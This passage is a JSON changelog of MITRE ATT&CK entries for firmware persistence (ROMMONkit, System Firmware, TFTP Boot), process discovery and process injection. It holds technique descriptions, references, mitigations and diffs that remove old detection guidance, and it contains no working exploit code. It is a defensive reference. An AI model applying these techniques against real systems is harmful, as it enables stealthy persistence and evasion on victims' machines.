"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\", \"Process: OS API Execution\", \"Driver: Driver Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.147000+00:00\", \"old_value\": \"2025-04-15 19:58:43.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\\n\\nDisk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) disk monitoring may reveal malicious manipulations of components.(Citation: SanDisk SMART)(Citation: SmartMontools) Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\\n-\\n-Disk check and forensic utilities may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) Also consider comparing components, including hashes of component firmware and behavior, against known good images.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)",
"DS0009: Process (OS API Execution)",
"DS0027: Driver (Driver Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0323: Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-20 00:05:48.790000+00:00",
"modified": "2025-10-24 17:49:11.524000+00:00",
"name": "ROMMONkit",
"description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/004",
"external_id": "T1542.004"
},
{
"source_name": "Cisco Synful Knock Evolution",
"description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
"url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.524000+00:00\", \"old_value\": \"2025-04-25 14:47:36.549000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention",
"M1046: Boot Integrity",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0175: Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-19 19:43:34.507000+00:00",
"modified": "2025-10-24 17:48:26.714000+00:00",
"name": "System Firmware",
"description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/001",
"external_id": "T1542.001"
},
{
"source_name": "McAfee CHIPSEC Blog",
"description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
"url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
},
{
"source_name": "MITRE Copernicus",
"description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
"url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about"
},
{
"source_name": "Intel HackingTeam UEFI Rootkit",
"description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html"
},
{
"source_name": "Github CHIPSEC",
"description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
"url": "https://github.com/chipsec/chipsec"
},
{
"source_name": "About UEFI",
"description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
"url": "http://www.uefi.org/about"
},
{
"source_name": "MITRE Trustworthy Firmware Measurement",
"description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
"url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research"
},
{
"source_name": "Wikipedia UEFI",
"description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
"url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface"
},
{
"source_name": "Wikipedia BIOS",
"description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
"url": "https://en.wikipedia.org/wiki/BIOS"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jean-Ian Boutin, ESET",
"McAfee",
"Ryan Becwar"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Network Devices"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.714000+00:00\", \"old_value\": \"2025-04-15 19:58:09.046000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\\n\\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\\n-\\n-Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1046: Boot Integrity",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0099: Detection Strategy for T1542.001 Pre-OS Boot: System Firmware"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-20 00:06:56.180000+00:00",
"modified": "2025-10-24 17:48:33.317000+00:00",
"name": "TFTP Boot",
"description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1542/005",
"external_id": "T1542.005"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Secure Boot",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#35"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Command History",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Boot Information",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#26"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Connection Creation\", \"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.317000+00:00\", \"old_value\": \"2025-04-25 14:46:08.824000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n\\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\\n-\\n-Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1028: Operating System Configuration",
"M1031: Network Intrusion Prevention",
"M1035: Limit Access to Resource Over Network",
"M1046: Boot Integrity",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0001: Firmware (Firmware Modification)",
"DS0017: Command (Command Execution)",
"DS0029: Network Traffic (Network Connection Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0582: Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:48.728000+00:00",
"modified": "2025-10-24 17:49:05.839000+00:00",
"name": "Process Discovery",
"description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1057",
"external_id": "T1057"
},
{
"source_name": "show_processes_cisco_cmd",
"description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"
},
{
"source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
"description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
},
{
"source_name": "Sygnia ESXi Ransomware 2025",
"description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
"url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.839000+00:00\", \"old_value\": \"2025-04-15 19:58:50.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0034: Detection of Adversarial Process Discovery Behavior"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:47.843000+00:00",
"modified": "2025-10-24 17:48:43.053000+00:00",
"name": "Process Injection",
"description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055",
"external_id": "T1055"
},
{
"source_name": "GNU Acct",
"description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
"url": "https://www.gnu.org/software/acct/"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "RHEL auditd",
"description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
"url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
},
{
"source_name": "ArtOfMemoryForensics",
"description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
},
{
"source_name": "Microsoft Sysmon v6 May 2017",
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
},
{
"source_name": "Chokepoint preload rootkits",
"description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
"url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Anastasios Pingios",
"Christiaan Beek, @ChristiaanBeek",
"Ryan Becwar"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: Process Modification\", \"File: File Modification\", \"Process: Process Metadata\", \"File: File Metadata\", \"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.053000+00:00\", \"old_value\": \"2025-04-16 20:37:16.893000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \\n\\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n\\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n\\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \\n-\\n-Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n-\\n-Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n-\\n-Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Access)",
"DS0009: Process (Process Metadata)",
"DS0009: Process (Process Modification)",
"DS0011: Module (Module Load)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0508: Behavioral Detection of Process Injection Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-14 01:29:43.786000+00:00",
"modified": "2025-10-24 17:49:00.298000+00:00",
"name": "Asynchronous Procedure Call",
